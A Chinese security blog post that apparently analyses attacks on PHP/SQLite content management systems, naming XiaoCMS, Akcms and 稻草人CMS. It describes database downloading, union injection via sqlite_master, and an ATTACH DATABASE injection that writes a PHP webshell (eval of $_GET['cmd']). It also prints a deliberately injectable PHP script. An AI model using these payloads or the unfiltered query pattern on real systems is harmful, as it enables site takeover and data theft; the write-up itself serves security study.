0x00 前言

SQLite作为一款轻型数据库,PHP开发人员一定不会陌生,PHP5后,其已默认集成这个轻巧的内嵌式数据库产品.对于采用PHP/Sqlite的CMS,也存在一些常见的安全威胁.笔者以下数例加以分析,欢迎指出不足与错误之处.

0x01 数据库下载

作为一个单文件的轻型数据库,存在与类似Access的问题,即数据库下载.在测试的几个CMS中,便存在固定/默认数据库名/地址的问题,可下载造成安全威胁.

而某些CMS即使设置有数据库随机文件名,但仍存在安全威胁,如XiaoCMS

img

看似防下载的#%使用URL编码即可绕过,而由于短文件名漏洞的存在,随机文件名也不再安全,只需猜解0-9a-f的4位组合即可下载数据:

img

借鉴于Access的数据库防护手法,部分CMS将数据库后缀修改为php,并创建表"create table '<?php' (a); ",以期防下载,但也引入了新的安全威胁.

0x02 数据库GetShell

首先是Akcms,其Sqlite版本数据库后缀为php,但连'<?php'表也没有添加,只要得到(猜解)六位数据库文件名即可GetShell.以下为插入phpinfo();示例

img

而稻草人CMS虽加入了'<?php'表,但在PHP并未抛出错误,仍可下载数据库内容.

img

稻草人在前台使用strip_tags()函数过滤了输入变量,避免了直接GetShell.但通过数据库下载破解管理密码,后台亦可任意编辑文件,造成相应的安全威胁.

0x03 注入语法

为方便测试,写有如下PHP脚本

img

连接数据库文件sqlite.db内容如下:

img

可以看到id输入未经任何过滤,可被我们利用,一个Demo如下:

img

正常id输入1-3均可返回对应的name,而通过注入语句:

4 union select user,pass,id from user where id=1;

可通过union查询到id为1的pass值.

与MySQL5.x类似的,Sqlite存在与information_schema类似的一个表,默认并不显示,名为sqlite_master,表中的字段有type,name,tbl_name,rootpage,sql,比较有价值的是sql字段.

首先测试有回显处为2

img

查询sql字段内容

img

如上可以得到表结构

此外,常见的一些语法也与Mysql类似如:

注释符: --
连接符: ||
Substring:  substr(a,b,c)
长度:   length(x)

0x04 注入GetShell

Sqlite中通过Attach语句可以附加数据库(若不存在则创建文件),通过此语句可借助Sqlite注入GetShell,但上面的数据库查询语句:

$db->query($sql);

是无法Attach创建文件的

以下GetShell环境,测试创建Sqlite3数据库

img

修改语句如下:

<?php
    if (isset($_GET['id'])){
        $id=$_GET['id'];
    }
    else
    {
        echo "id!";
        exit;
    }
    $db = new PDO('sqlite:sqlite3.db');
    $sql="select * from user where id=$id";
    echo "<h4>Sql: ".$sql."</h4>";
    var_dump(@$db->exec($sql));

此时即可借助注入语句插入WebShell

测试语句1:

4;ATTACH DATABASE 'C:\\wamp\\www\\le4f.php' AS pwn;CREATE TABLE pwn.exp(dataz text);INSERT INTO pwn.exp(dataz) VALUES('<?php phpinfo();?>');--

img

得到phpinfo

img

写入一个WebShell:

4;ATTACH DATABASE 'C:\\wamp\\www\\shell.php' AS pwn;CREATE TABLE pwn.exp(dataz text);INSERT INTO pwn.exp(dataz) VALUES('<? eval($_GET['cmd']); ?>');--

img

img

PHP调用Sqlite还有多种方式,猜想execute和exec方式均有可能GetShell.对于Sqlite2数据库,如下代码:

$db = new PDO('sqlite2:sqlite.db');
$db->exec($sql);

可以注入语句Attach创建空文件,但未能插入数据.各位看官如有研究还望指点一二.

0x05 小结

与Access数据库类似,Sqlite轻巧方便的同时,也存在很多可利用的威胁,对开发者来讲也是要注意的问题.以上仅为笔者所观的冰山一角,更多问题由看官去研究发现.

首发网络攻防实验室,未授权勿转载.

Comments
Write a Comment